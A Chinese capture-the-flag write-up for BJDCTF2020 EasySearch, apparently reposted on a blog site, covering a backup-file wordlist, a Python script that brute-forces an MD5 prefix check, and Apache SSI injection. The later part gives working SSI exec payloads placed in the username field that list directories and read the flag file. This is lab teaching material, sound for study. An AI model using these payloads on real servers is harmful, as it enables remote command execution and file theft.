[BJDCTF2020]EasySearch (SSI注入漏洞)

news2024/12/28 3:17:25

这题ctrl+U发现往index.php提交数据,但是我目录,git泄露,sqlmap,爆破admin密码都没有作用,数据包页面也没有什么重置密码注册的功能

这种三无题多半是要拿源码做的,我又拿我备份文件字典扫了一下结果发现index.php.swp为源码备份文件,字典也给你们丢下面了

常见的网站源码备份文件

dweb.tar
website.tar
backup.tar
back.tar
www.tar
wwwroot.tar
temp.tar
web.tar.gz
website.tar.gz
backup.tar.gz
back.tar.gz
www.tar.gz
wwwroot.tar.gz
temp.tar.gz
web.zip
website.zip
backup.zip
back.zip
www.zip
wwwroot.zip
temp.zip
web.rar
website.rar
backup.rar
back.rar
WWW.rar
wwwroot.rar
temp.rar
.index.php.swp
.index.php~
index.php.bak_Edietplus
index.php.~
index.php.~1~
index.php
index.php~
index.php.rar
index.php.zip
index.php.7z
index.php.tar.gz
www.7z
web.7z
web.tar
index.phps
index.php.swp
index.php.swo
index.php.php~
index.php.bak
index.php.txt
index.php.old

审计代码:

该代码定义了一个名为get_hash()的函数,该函数用于生成一个SHA1哈希值。

在函数内部,首先定义了一个包含字母、数字和特殊字符的字符串$chars,用于生成随机字符串。然后使用mt_rand()函数从$chars字符串中随机选择5次字符,并将这5个字符拼接起来,形成一个随机字符串$random。

接下来,使用uniqid()函数生成一个唯一的字符串,并将其与$random拼接在一起,形成最终的字符串$content。

最后,使用sha1()函数对$content进行SHA1哈希运算,并返回哈希值。

因此,调用get_hash()函数将返回一个随机生成的SHA1哈希值。

下面这里发现只要username存在不为空,并且只有截取md5函数加密后的password前六个字符等于6d0bc1,才能进行下面的写文件操作

我用ai写了个python脚本,通过枚举的方式找到满足条件的字符串。

import hashlib

def generate_md5(prefix):
    count = 0
    while True:
        data = prefix + str(count)
        md5_hash = hashlib.md5(data.encode()).hexdigest()
        if md5_hash.startswith(prefix):
            return md5_hash, data
        count += 1

prefix = input("请输入六个字符的前缀:")
md5_hash, data = generate_md5(prefix)
print("MD5值:", md5_hash)
print("加密前的数据:", data)

运行结果

找个网站加密发现确实是以6d0bc1开头的

username随便输,密码输入脚本跑出来的加密前数据成功弹窗说明成功绕过

因为这里写了头部数据格式,在index.php数据包中发现生成的文件路径

进来后又不知道干嘛了,看到有个ip,XFF试了一下没鸟用

整了半天没办法了去看看别人wp发现又是个新知识点,参考文章:

Apache SSI 远程命令执行漏洞(SSI注入漏洞)_<!--#exec cmd="ls" -->-CSDN博客

Apache SSI 远程命令执行漏洞
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd="ls /" -->语法来执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

构造payload:username=<!--#exec cmd="ls" -->密码输入6d0bc14719749

此时命令已经写入到shtml文件里面了,只需要访问即可执行

数据包中找到路径

发现成功执行了!

看看上机目录,构造payload:<!--#exec cmd="ls ../" -->       密码6d0bc14719749

直接用他的输入框输就行了

发现成功执行,这玩意一看就是放flag的地方

最终payload:

用户名<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->

密码6d0bc14719749

成功拿到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1960474.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

开发无人带货直播插件

在当今快速发展的电商行业中&#xff0c;直播带货已成为推动销售增长的重要力量&#xff0c;然而&#xff0c;随着直播市场的日益饱和和消费者需求的不断变化&#xff0c;如何在保持直播互动性的同时&#xff0c;实现高效、低成本的运营成为许多商家关注的焦点。 无人带货直播…

Python | Leetcode Python题解之第300题最长递增子序列

题目&#xff1a; 题解&#xff1a; class Solution:def lengthOfLIS(self, nums: List[int]) -> int:d []for n in nums:if not d or n > d[-1]:d.append(n)else:l, r 0, len(d) - 1loc rwhile l < r:mid (l r) // 2if d[mid] > n:loc midr mid - 1else:l…

c语言排序(1)

前言 排序在数据结构中占有非常重要的地位&#xff0c;我们在前面二叉树的数组实现时也用到了堆排序&#xff0c;下面我们就系统地讲一下排序。 1. 排序及其运用 1.1 什么是排序 所谓排序&#xff0c;就是使⼀串记录&#xff0c;按照其中的某个或某些关键字的大小&#xff…

合并两个列头不同的表格

有两个Excel的"named ranges"&#xff0c;Events1和Events2。从第2行开始&#xff0c;它们都可以看做带表头的表格&#xff0c;并有部分表头相同。 Column1Column2Column3Column4DATEFIRST NAMESURNAMECODE1/2/2024JohnSmith31/2/2024LilyJJ33 Column1Column2Column…

【C++】类和对象——流插入和流提取运算符重载

目录 前言ostream和istream自定义类型的流插入重载自定义类型的流提取重载解决私有问题日期类总接口 前言 我们在上一节实现日期类时&#xff0c;在输入和输出打印时&#xff0c;经常会调用两个函数&#xff1a; void Insert()//输入函数{cin >> _year;cin >> _mo…

四款免费文案生成器app,你的文案创作神器

文案创作不仅需要创意和洞察力&#xff0c;还需要对语言的精准掌握。对于许多个人创作者和中小企业来说&#xff0c;聘请专业文案人员可能成本过高&#xff0c;而自己创作又可能面临灵感枯竭的困境。这时&#xff0c;免费的文案生成器App就显得尤为重要。免费文案生成器app的出…

Electron学习笔记(二)Hello World

目录 前言 运行主进程 创建界面 使用窗口打开界面 管理窗口的生命周期 关闭所有窗口时退出应用 (Windows & Linux)​ 如果没有窗口打开则打开一个窗口 (macOS) 使用预加载脚本访问渲染器的Node.js 添加你自己的功能 完整代码展示 效果展示 前言 接上一篇文章 …

JWT详细解析

目录 1. 什么是JWT&#xff1f; 2. 前后端完全分离认证问题 3. JWT的原理 4. JWT的数据结构 5. Header 6. Payload 7. Signature 8.JWT的使用方式 1. 什么是JWT&#xff1f; Json web token (JWT)&#xff0c;是为了在网络应用环境间传递声明而执行的一种基于JSON的开放…

nginx服务---负载均衡、平滑升级

一、nginx服务配置属性监控、nginx代理服务和nginx的IP访客黑名单 1.属性监控 通过在编译时加入 nginx 的 ngx_http_stub_status_module 模块可以实时监控以下基本的指标&#xff1a; 部署过程&#xff1a; 在配置文件/usr/local/nginx/conf/nginx.conf中的server模块中&…

【uniapp离线打包】(基于Android studio)

文章目录 uniapp打包官方教程入口一、准备工作(工具三大件)二、准备工作&#xff08;Android壳和uniapp包&#xff09;导入Android壳生成uniapp包将uniapp包导入android壳 三、准备工作&#xff08;证书、&#xff09;准备Android平台离线签名证书 四、修改配置参数build.gradl…

Data Augmentation数据增强

目录 数据增强是什么 为什么数据增强 数组增强分类 有监督数据增强 无监督数据增强 数据增强是什么 数据增强又称数据扩增&#xff0c;是一种通过应用合理且随机的变换&#xff08;例如图像位移、旋转&#xff09;来增加训练集多样性的技术。让有限的数据产生等价于更多数…

卷积神经网络(五)---图像增强的方法

前面的部分专注于卷积神经网络的层结构介绍&#xff0c;同时还介绍了到目前为止比较出名的卷积神经网络&#xff0c;接着使用比较复杂的卷积神经网络提高了 MNIST 数据集的准确率。下面将从另外的角度——图像增强的方面入手&#xff0c;提高模型的准确率和泛化能力。 一直以来…

C# 弃元的详解与示例

文章目录 1. 什么是弃元&#xff1f;2. 弃元的语法3. 弃元的应用场景4. 示例代码5. 总结 在C# 7.0及更高版本中&#xff0c;弃元&#xff08;Discard&#xff09;是一个新的语言特性&#xff0c;允许开发者在特定情况下忽略某些值。这在处理元组、解构操作或其他只需要部分值的…

【区块链+绿色低碳】泸州:“绿芽积分”号召全民绿色减碳 | FISCO BCOS应用案例

2021 年 6 月 5 日&#xff0c; 首个基于“绿普惠云”所构建的政府级碳普惠平台“泸州市‘绿芽积分’”在生态环境部 2021 年 六五世界环境日国家主场活动中展示&#xff0c;并跻身进入生态环境部“提升公民生态文明意识行动计划”2021 十佳公众 参与案例。 “绿普惠云”是为政…

精通推荐算法11:基于异构图游走的Graph Embedding

DeepWalk、Line和Node2vec对图结构数据进行随机游走&#xff0c;成功将其转化为一个序列问题&#xff0c;并利用Word2vec训练得到节点的Embedding向量。但它们都基于同构图&#xff0c;其节点均属于同一种类型。但现实世界的数据网络大多基于异构图&#xff0c;其节点类型以及节…

【Linux】全志Tina配置log串口信息以及env信息的方法

一、文件位置 V:\f1c100s\Evenurs\f1c100s\tina\device\config\chips\c200s\configs\F1C200s\linux\env-3.10.cfg 二、文件内容 三、介绍 console&#xff1a;串口信息 version&#xff1a;版本信息 appAB&#xff1a;ab区信息 cma&#xff1a;cma容量 四、总结 在此文…

【HarmonyOS】鸿蒙中如何获取资源文件的指定类型 fd,string,Uint8Array,RawFileDescriptor

【HarmonyOS】鸿蒙中如何获取资源文件的指定类型 fd&#xff0c;string&#xff0c;Uint8Array&#xff0c;RawFileDescriptor 一、问题背景&#xff1a; 众所周知&#xff0c;在鸿蒙中的资源分为media和rawfile。两者的区别对标android工程一致&#xff0c;后者是其他类型文…

高月供,高负债,有没有好的办法去解决?

朋友们&#xff0c;有没有过这样的经历&#xff0c;觉得手里那堆贷款账户和每个月高高的月供&#xff0c;就像两座大山压得你喘不过气&#xff1f;特别是想从网贷的高利贷坑跳到银行的低息怀抱&#xff0c;却屡遭拒绝&#xff0c;那种无力感和自我怀疑&#xff0c;简直让人崩溃…

【城市数据集】世界城市数据库和访问门户工具WUDAPT

世界城市数据库和访问门户工具WUDAPT WUDAPTLCZ分类具体步骤参考 在 城市气候研究中&#xff0c;用于描述城市特征的数据集一般采用基于类别的传统方法&#xff0c;将城市地区分为数量有限的类型&#xff0c;从而导致精确度下降。越来越多的新数据集以亚米微尺分辨率描述城市的…

嵌入式学习Day17---Linux软件变编程

目录 ​编辑 一、Linux 系统 1.1.Linux服务器 1.2.Linux嵌入式 1.3.Linux系统上的软件开发 1.操作系统 2.Linux内核 3.man手册 1.4.shell命令 1.基本命令 2.文件查看命令 3.文件查找命令 4.压缩解压文件 5.其他命令 6.通配符 7.管道 8.重定向 1.5.虚拟机上网 1.NAT模式 …